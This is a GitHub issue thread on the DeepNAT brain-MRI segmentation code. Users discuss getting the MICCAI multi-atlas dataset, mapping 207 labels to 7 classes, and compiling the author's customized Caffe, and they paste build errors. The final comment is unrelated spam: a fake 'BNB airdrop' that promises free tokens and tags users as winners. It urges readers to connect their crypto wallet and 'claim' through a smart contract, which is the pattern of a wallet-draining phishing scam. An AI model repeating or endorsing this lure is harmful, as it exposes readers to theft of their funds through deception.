DeepNAT icon indicating copy to clipboard operation
DeepNAT copied to clipboard

About dataset

Open John1231983 opened this issue 7 years ago • 27 comments

In your paper, you said

We evaluate the segmentation on the dataset of the MICCAI Multi-Atlas Labeling challenge1 (Landman and Warfield, 2012), which consists of T1-weighted MRI scans from 30 subjects of OASIS (Marcus et al., 2007). Manual segmentations were provided by Neuromorphometrics, Inc.2 under academic subscription.

I accessed the Neuromorphometrics website and it required to purchase about 1.500usd for academic subscription. It is very huge money for student. Do you really pay the money? Does it include raw image or just label image only? I also access the first link (http://masiweb.vuse.vanderbilt.edu/workshop2012/index.php?title=Main_Page&action=history) but it has no raw image

Thanks

John1231983 avatar Apr 12 '17 15:04 John1231983

Hello, did you manage to get the data ? I would be interested too

Many thanks Romain

romainVala avatar May 15 '17 13:05 romainVala

@romainVala : I still wait the response from author

John1231983 avatar May 15 '17 14:05 John1231983

You can get the data here . Cheers, Tassilo

TJKlein avatar May 15 '17 14:05 TJKlein

thanks the form does not work any more, but I try a mail to bennett.landman I'll keep you informed if I succeed

romainVala avatar May 17 '17 07:05 romainVala

Google upgraded the forms. Here is a fixed link:

https://docs.google.com/forms/d/e/1FAIpQLSfwkdSt7hWo_tjHUDu2stDsxWTaWyLJIUiS_iapbtKaydEMIw/viewform?usp=sf_link

thanks to landman

romainVala avatar May 17 '17 14:05 romainVala

Hi now I have the data I realize you did not commit all your code I just see the network definition but not the code for training testing the data. Do I miss something? Many thanks

romainVala avatar May 17 '17 15:05 romainVala

@romainVala: To run the code, you just download his caffe and compile it. After that, run training or just run develop (he already provide .caffemode) @TJKlein: I want to ask you about the number of label. As the dataset, it contains 207 classes. But your code only consider 7 classes. Do we have any rule to map from 207 classes to 7 classes? Thanks

John1231983 avatar May 18 '17 03:05 John1231983

@John1231983 Have you successfully run the deployment code? I keep getting "Error parsing text-format caffe.NetParameter: 9:23: Message type "caffe.LayerParameter" has no field named "memory_datand_param" error. Are there any pre-processing steps needed for running that code??

YilinLiu97 avatar Jun 22 '17 00:06 YilinLiu97

@YilinLiu97 : Not yet. I cannot run it code. I am still confusing number of classes. Do you know how to convert 207 classes in the dataset to 7 classes in his code?

John1231983 avatar Jun 22 '17 06:06 John1231983

@John1231983 Are you attempting to re-train? otherwise, why do you need that step for just deploying the model?? btw which caffe interface are you using? Did you notice that memory data is used in this case and do you know how to deal with that in matcaffe/pycaffe? I got the error above even when I'm just trying to initialize the network. wired. I'm using matcaffe.

YilinLiu97 avatar Jun 23 '17 18:06 YilinLiu97

@John1231983 Could you please check out the second issue that I raised? I'm a newbie in caffe but It seems to me that there are some problems with the deployment prototxt, which is probably why it causes so many errors.

YilinLiu97 avatar Jun 23 '17 20:06 YilinLiu97

He used his caffe code. Check it README

John1231983 avatar Jun 24 '17 05:06 John1231983

@John1231983 Thanks so much!

YilinLiu97 avatar Jun 25 '17 16:06 YilinLiu97

Hi, I'm getting errors when trying to compile his caffe. Did you have this too? @John1231983 I don't have this problem when I installed the official caffe. Thank you in advance!

clang: warning: argument unused during compilation: '-pthread' Undefined symbols for architecture x86_64: "caffe::Net::Net(std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator > const&, caffe::Phase, int, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator > > > const*, caffe::Net const*)", referenced from: CXX/LD -o .build_release/tools/upgrade_net_proto_text.bin test() in caffe.o time() in caffe.o "caffe::Layer::Lock()", referenced from: caffe::Layer::Forward(std::__1::vector<caffe::Blob, std::__1::allocator<caffe::Blob> > const&, std::__1::vector<caffe::Blob, std::__1::allocator<caffe::Blob> > const&) in caffe.o "caffe::Layer::Unlock()", referenced from: caffe::Layer::Forward(std::__1::vector<caffe::Blob, std::__1::allocator<caffe::Blob> > const&, std::__1::vector<caffe::Blob, std::__1::allocator<caffe::Blob> > const&) in caffe.o "caffe::P2PSync::Run(std::__1::vector<int, std::__1::allocator > const&)", referenced from: train() in caffe.o "caffe::P2PSync::P2PSync(boost::shared_ptr<caffe::Solver >, caffe::P2PSync, caffe::SolverParameter const&)", referenced from: train() in caffe.o "caffe::P2PSync::~P2PSync()", referenced from: train() in caffe.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) Undefined symbols for architecture x86_64: "caffe::Net::Net(std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator > const&, caffe::Phase, int, std::__1::vector<std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator >, std::__1::allocator<std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator > > > const, caffe::Net const*)", referenced from: int feature_extraction_pipeline(int, char**) in extract_features.o ld: symbol(s) not found for architecture x86_64 make: *** [.build_release/tools/caffe.bin] Error 1 make: *** Waiting for unfinished jobs.... CXX/LD -o .build_release/tools/upgrade_solver_proto_text.bin clang: error: linker command failed with exit code 1 (use -v to see invocation) make: *** [.build_release/tools/extract_features.bin] Error 1 clang: warning: argument unused during compilation: '-pthread' clang: warning: argument unused during compilation: '-pthread'

YilinLiu97 avatar Jun 26 '17 23:06 YilinLiu97

Hi all, I just want to know if anyone is able to install his caffe successfully?

YilinLiu97 avatar Jun 28 '17 18:06 YilinLiu97

Hi, we used a customized caffe version. The only issue is that it is an older version. I will provide it if there is an interest. When I started working on it caffe didn't have much of the functionality. In the meantime, I think, many of the added function of the customized version are part of caffe but have different names.

TJKlein avatar Jul 08 '17 23:07 TJKlein

@TJKlein : Could you please let me know how to map from 207 classes to 7 classes? Because the given dataset includes 207 classes.

John1231983 avatar Jul 09 '17 00:07 John1231983

@TJKlein Very appreciate your reply! And yes, I'll be interested in getting an older version. I'm not sure if this really makes difference but it's worth trying.

YilinLiu97 avatar Jul 12 '17 00:07 YilinLiu97

@TJKlein : Can you please shed light on following aspects in the network definition files

  1. Converting MICCAI train and test images/labels to HDF5 format
  2. Populating brain_train.txt file

yogiblr avatar Jul 14 '17 13:07 yogiblr

@yogiblr Hi, are you able to install his caffe? Thanks!

YilinLiu97 avatar Jul 17 '17 19:07 YilinLiu97

I am getting following error. However I am able to run build/tools/caffe executable

[ 97%] Built target convert_cifar_data Linking CXX executable mnist/convert_mnist_data [ 97%] Built target convert_mnist_data Linking CXX executable siamese/convert_mnist_siamese_data [ 98%] Built target convert_mnist_siamese_data [100%] Building CXX object python/CMakeFiles/pycaffe.dir/caffe/_caffe.cpp.o /home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp: In function ‘void caffe::CheckContiguousArray(PyArrayObject*, std::string, const std::vector&)’: /home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:97:69: error: ‘to_string’ is not a member of ‘std’ throw std::runtime_error(name + " must be matching N-d: " + std::to_string(PyArray_NDIM(arr)) + " vs. "+ std::to_string(shape.size())); ^ /home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:97:114: error: ‘to_string’ is not a member of ‘std’ throw std::runtime_error(name + " must be matching N-d: " + std::to_string(PyArray_NDIM(arr)) + " vs. "+ std::to_string(shape.size()));

                                  ^

/home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:105:68: error: ‘to_string’ is not a member of ‘std’ throw std::runtime_error(name + " shape mis-match at "+std::to_string(i)+": "+std::to_string(PyArray_DIMS(arr)[i])+" vs. "+std::to_string(shape[i])); ^ /home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:105:91: error: ‘to_string’ is not a member of ‘std’ throw std::runtime_error(name + " shape mis-match at "+std::to_string(i)+": "+std::to_string(PyArray_DIMS(arr)[i])+" vs. "+std::to_string(shape[i]));

           ^

/home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:105:136: error: ‘to_string’ is not a member of ‘std’ throw std::runtime_error(name + " shape mis-match at "+std::to_string(i)+": "+std::to_string(PyArray_DIMS(arr)[i])+" vs. "+std::to_string(shape[i]));

                                                        ^

/home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp: In function ‘void caffe::Net_SetInputNDArrays(caffe::Net*, boost::python::api::object, boost::python::list&)’: /home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:235:72: error: ‘to_string’ is not a member of ‘std’ " multiple of batch size. Data: "+std::to_string(PyArray_DIMS(data_arr)[0] ) + " vs. batch size: "+std::to_string(md_layer->batch_size() )); ^ /home/ubuntu/DeepNAT/caffe/python/caffe/_caffe.cpp:235:137: error: ‘to_string’ is not a member of ‘std’ " multiple of batch size. Data: "+std::to_string(PyArray_DIMS(data_arr)[0] ) + " vs. batch size: "+std::to_string(md_layer->batch_size() ));

                                                         ^

make[2]: *** [python/CMakeFiles/pycaffe.dir/caffe/_caffe.cpp.o] Error 1 make[1]: *** [python/CMakeFiles/pycaffe.dir/all] Error 2

On Tue, Jul 18, 2017 at 12:34 AM, Yilin Liu [email protected] wrote:

@yogiblr https://github.com/yogiblr Hi, are you able to install his caffe? Thanks!

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/TJKlein/DeepNAT/issues/1#issuecomment-315850364, or mute the thread https://github.com/notifications/unsubscribe-auth/AcxjBGoyTkbCDUGu4HVNIh5kIRfoDPA4ks5sO6_3gaJpZM4M7lh6 .

yogiblr avatar Jul 18 '17 05:07 yogiblr

@yogiblr Thank you for the reply! I installed it successfully just now. I used make. Good luck!

YilinLiu97 avatar Jul 18 '17 20:07 YilinLiu97

@TJKlein I'm wondering, could you provide the spectral brain coordinates for your training/testing set? Thanks!

YilinLiu97 avatar Jul 19 '17 02:07 YilinLiu97

How to resolve this issue?

caffe.LayerParameter" has no field named "memory_datand_param"

AbdulMoqeet avatar Oct 01 '17 02:10 AbdulMoqeet

dear @TJKlein i get the dataset which contain 15 training samples and 20 testing sample, but the paper said the dataset contain 15 training samples and 15 testing samples. why? and the paper said 5 test samples are used as training samples, which test sample are sued as training samples? thank you.

ZYX-MLer avatar Jun 25 '18 15:06 ZYX-MLer

@John1231983 @romainVala @yogiblr Can you please help me out with #5 Thanks

garg-saurav avatar Jun 06 '20 12:06 garg-saurav

$BNB Airdrop: Claim Your $1000 in BNB Now!

🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Claim Now

Steps to Claim:

1. 🌐 Connect Your Binance Wallet:

  • Click on the Connect Wallet link.
  • Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

  • Once your wallet is connected.
  • Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!

Winners: @vinicius-gregorio, @Hughdw, @alexknutson, @thfurkanabay, @GenrihGrigoryan, @QuestofIranon, @garveyhu

champak86 avatar Jan 24 '24 13:01 champak86